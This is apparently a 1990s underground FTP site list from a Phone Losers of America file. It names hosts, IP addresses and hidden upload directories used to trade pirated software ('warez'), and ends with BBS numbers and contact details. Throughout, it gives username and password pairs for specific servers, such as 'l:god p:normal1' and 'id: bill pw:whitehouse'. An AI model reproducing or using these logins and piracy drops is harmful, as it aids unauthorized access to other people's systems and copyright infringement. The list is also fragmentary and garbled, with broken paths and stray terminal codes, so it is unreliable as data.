/ftpsync3/ftp.x.org/contrib/incoming/ls-lbF.z 165.113.1.29
|
||
(ftp.crl.com) /users/st/stupid/incoming/gold 165.247.199.53
|
||
165.247.199.53 / 165.247.199.53 /pub really old stuff
|
||
vbdecompiler and turbo c++ 165.247.199.53 /pub/reqz check the
|
||
dirs most are in there 168.143.0.3 /pub/jcase
|
||
192.101.138.246 l:god p:normal1 192.111.115.3]
|
||
pub/incoming/phoenix/AA2PS.COM/pc 192.135.215.4 ftp.nt.com
|
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/pub/ISO_IEC_SC6_WG6_Beppu/pdf_readers/dr 153.19.100.10
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/pub/test.txt/.../ 165.247.199.53 192.73.224.110 /pub/
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/..../.haha/ 192.73.224.110 /pub/ /.haha/Win95logo.bmp 192.73.224.110 /pub/./.tmp 192.160.13.5
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/pub/smann/upload/vfc'95 194.20.32.1
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/incoming/INTERNET/Slower/.../.... 199.221.19.3 d:\dsg\.gamez
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204.120.171.6 /incoming/.cshrc coil.com pub/users/SeEd95
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199.222.2.1/incoming 130.237.222.71 /incoming 153.19.100.10
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/pub/test.txt/... 194.20.35.11/incoming/internet/slower
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194.21.12.45 id: bill pw:whitehouse coil.com
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glasscity.net/incoming/.^[[A 204.137.220.111 /incoming/.[A/.
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95/.AbsZer0/4.Appz 199.17.81.11 incomind ncbi.nlm.nih.gov
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pub/fate/95 131.215.50.234 /pub/vicki 128.59.130.50
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129.210.144.18 L:Bob Marley P:Sucks 204.160.88.10 anonymous
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/pub/users/phend alumni.caltech.edu /pub/vicki 128.119.200.10
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incoming/mk 206.42.105.6 l:tolkien p:bilbo 129.101.39.86 /games
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ftp.internet.net /incoming/hoch e/.../warez 168.169.24.65 l=mz69
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p=gamezhome/mz69 137.186.128.11 /in.coming 205.206.241.124
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155.58.114.67 <chipwich> l=Severian ftp.ccnet.com
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/users/crick/.../ 151.161.17.151 l: rocket p: shiny
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205.139.170.73 /tmp ftp.interse.com 199.175.168.3
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/pub/incoming/SiteUnsee (Invisible directory) 35.8.193.129 l
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riptide p undertoe 5.158.20.10 /incoming 129.15.2.20
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/incoming/warez 192.107.41.3 /members/warmech/warez
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abello.seci.uchile.cl /pub/"..."/".unreadable "/bin
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ag.nchu.edu.tw /SYS3/GAME l:game_exchange_paradise p:Fatman
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autosim.com /pub/uploads/tmp2/__here|||/ camelot.bradley.edu
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log: civsg pass: civsg /var/tmp/.FL0001FAA6
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csbh.mhv.net 199.0.0.2 /pub/incoming has acad and nbajam kinda
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messy cv.jinr.dubna.su /.9 cxc1.msu.edu /freebsd/incom
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ing/.tmp/ cyfer.esusda.gov /pub/ darwin.cc.nd.edu
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/pub/submissions/codex/fucker/fucker ftp.cam.org
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/users/jb/.145<box><box><box> ftp.ccnet.com
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/users/crick/.../vb40. for win ftp.cs.tut.fi
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/pub/orf/DO2/.wrz ftp.cursci.com 199.222.2.1
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/incoming/ // hardball 5 ftp.dartmouth.edu
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/pub/dropoff/couple of dirs ftp.dei.uc.pt/pub/fun/
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ftp.doc.ic.ac.uk ftp.fishbowl.com L:rtsporn P:fuckfuck XXX Site
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ftp.goat.com ftp.gte.com /pub/incoming/wales ftp.hktcl.com
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(pub/windows/win95) ftp.internet.net /incominghoche/.../Warez
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ftp.internet.net 192.195.5.90 /incoming/hoche/.../Warez/ millenia
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nbajam ftp.jinr.dubna.su (TONS of "older" warez)
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ftp.microsoft.com /bussys/winnt/winnt-unsup-ed/shell-tech-
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ftp.nt.com /pub/ISO_IEC_SC6_WG6_Beppu/pdf_readers/drivers/
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ftp.sambrone.com ftp.skypoint.com /incoming/. /.../.TDT
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ftp.srmc.com /pub/tiburonsj/incoming/. ftp.srmc.com pub/tibu~
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³ 314-995-1261..................................PLA Voicemail System (Zak) ³
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³ 618-797-2339.............................................Roy's Place BBS ³
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³ 503-928-4912......................................Whombat Communications ³
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³ http://www.basenet.net/~apok0lyp/welcome.html...............PLA web site ³
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³ ETEXT.ARCHIVE.UMICH.EDU............................pub/Zines/PhoneLosers ³
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³ collcard@big12.metrobbs.com......................To contact Colleen Card ³
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